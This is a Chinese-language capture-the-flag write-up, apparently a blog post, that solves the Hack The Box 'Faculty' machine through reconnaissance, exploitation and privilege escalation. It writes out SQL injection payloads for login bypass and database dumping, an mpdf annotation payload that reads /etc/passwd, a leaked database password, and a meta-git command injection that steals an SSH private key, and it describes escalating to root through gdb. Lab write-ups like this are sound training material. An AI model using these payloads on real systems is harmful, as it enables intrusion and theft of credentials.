Hack The Box - Faculty 利用mpdf代码注入漏洞获取ssh登录密码,meta-git远程命令执行漏洞横向提权,gdb附加root进程纵向提权

本文通过Nmap扫描、SQL注入、mpdf代码注入等技术手段,逐步攻破HackTheBox平台上的Faculty靶机,最终实现从普通用户提权至root的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Hack The Box-Faculty

在这里插入图片描述

Hack The Box开始使用流程看这篇

整体思路

1.Nmap扫描

通过nmap扫描结果发现,当前靶机开启了22和80端口

在这里插入图片描述

继续进一步扫描已开启端口的详细信息,这里给出80端口会重定向到一个新的域名,我们将这个域名添加到hosts中

在这里插入图片描述

2.Sql注入登录

顺利访问网站登录界面,尝试使用万能密码**1’ or 1=1 – -**登录

在这里插入图片描述

以Smith, John C身份登入,这个页面比较简单,没有发现什么可利用的地方

在这里插入图片描述

3.gobuster网站目录枚举

使用工具gobuster枚举网站目录,得到/admin

在这里插入图片描述

尝试访问一下,这里直接以Smith, John C身份进入admin后台界面

在这里插入图片描述

下一步我们可以选择通过SQL注入的方法得到管理员的密码,但是这种步骤比较繁琐,我们先尝试使用万能密码登录/admin/login.php进入管理员后台,现在可以看出这个靶场几乎没有什么身份验证措施。

在这里插入图片描述

想了想还是拿一下管理员密码吧,以备不时之需,这里试了一下,Course和Description部分是可以进行Sql注入的

在这里插入图片描述

4.Sql注入获取管理员信息

Sql注入payload:good luck’,description=(select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA) where id=1-- -

在这里插入图片描述

顺利得到数据库信息

在这里插入图片描述

接下来继续编写获取数据表和用户信息的payload

获取数据表:good luck’,description=(select group_concat(TABLE_NAME,“:”,COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = ‘scheduling_db’) where id=1-- -,用户表 users,用户名 username,密码 password,这里内容太多不方便截图,我就直接全部复制下来了

Course: good luck

Description: class_schedule_info:id,class_schedule_info:schedule_id,class_schedule_info:course_id,class_schedule_info:subject,courses:id,courses:course,courses:description,faculty:id,faculty:id_no,faculty:firstname,faculty:middlename,faculty:lastname,faculty:contact,faculty:gender,faculty:address,faculty:email,schedules:id,schedules:faculty_id,schedules:title,schedules:schedule_type,schedules:description,schedules:location,schedules:is_repeating,schedules:repeating_data,schedules:schedule_date,schedules:time_from,schedules:time_to,schedules:date_created,subjects:id,subjects:subject,subjects:description,users:id,users:name,users:username,users:password,users:type

获取用户信息:good luck’,description=(select group_concat(username,“:”,password) from users) where id=1-- -,顺利得到admin的密码:

在这里插入图片描述

5.mpdf代码注入漏洞利用

接下来再找找其他的利用点,右上角有一个下载pdf的按钮,尝试用burpsuite测试一下

在这里插入图片描述

这是最初下载的pdf文件

在这里插入图片描述

使用cyberchef工具对pdf字符串进行base64解码得到一串url编码字符,再进行两次url解码得到html格式的字符串

在这里插入图片描述

这里想到可以自己做一个pdf文件,利用当前页面可能存在的漏洞构造反弹shell或者执行其他操作。我们可以搜索一下地址栏出现的mpdf是否存在漏洞

在这里插入图片描述

在mpdf的github库中搜索安全问题,得到一个可能存在的漏洞,尝试构造这样的pdf**< annotation file=“/etc/passwd” content=“/etc/passwd” icon=“Graph” title=“Attached File: /etc/passwd” pos-x=“195” />**,我们可能得到passwd文件信息

在这里插入图片描述

同样,先进行两次URL编码,再进行一次Base64加密,把得到的字符串换到Burpsuite中得到新的pdf文件

在这里插入图片描述

更改burpsuite中pdf的值,生成新的pdf

在这里插入图片描述

下载新的pdf,点击pdf右上角的小图标顺利得到passwd文件信息

在这里插入图片描述

筛选可以尝试登录的用户名

在这里插入图片描述

接下来尝试获得index.php的源码,index.php的源码中加载了login.php和header.php两个文件,我们继续获取这两个php信息

在这里插入图片描述

修改一下小图标的位置,同时获取两个文件

在这里插入图片描述

header.php没什么发现,在login.php中发现了db_connect.php,我们继续探索

在这里插入图片描述

成功得到数据库用户名和密码

在这里插入图片描述

接下来使用密码Co.met06aci.dly53ro.per尝试ssh登录用户gbyolo,登陆成功

在这里插入图片描述

6.meta-git远程命令执行漏洞利用(RCE)

使用命令sudo -l 尝试提权,这里给出了横向提权到developer的方向

在这里插入图片描述

接下来搜索meta-git相关漏洞,这里找到了一个可用的rce,我们可以尝试利用一下

在这里插入图片描述

利用这个漏洞我们可以在/tmp或者/dev/shm文件夹下执行反弹shell命令

在这里插入图片描述

顺利提权到developer用户

在这里插入图片描述

再使用一次命令sudo -u developer meta-git clone ‘sss||cat ~/.ssh/id_rsa’,获取developer用户的私钥,方便ssh登录

在这里插入图片描述

7.gdb附加root进程提权

通过ssh登录后使用linpeas进行纵向提权

在这里插入图片描述

/usr/bin/gdb进程属于root用户,而debug组的用户可以读取,所以接下来我们需要找一个以root身份运行的进程,并将gdb进程添加到目标进程

在这里插入图片描述

这里的进程编号为728

在这里插入图片描述
这里相当于使用root身份运行gdb进程

在这里插入图片描述

从gdb中调用随机进程,最终成功获取root权限

在这里插入图片描述

打完收工!

在这里插入图片描述

工具汇总

1.Nmap

2.Gobuster

3.Burpsuite

4.CyberChef

5.linpeas

漏洞利用

mpdf 代码注入漏洞利用
meta-git 远程命令执行漏洞利用

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zyu0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值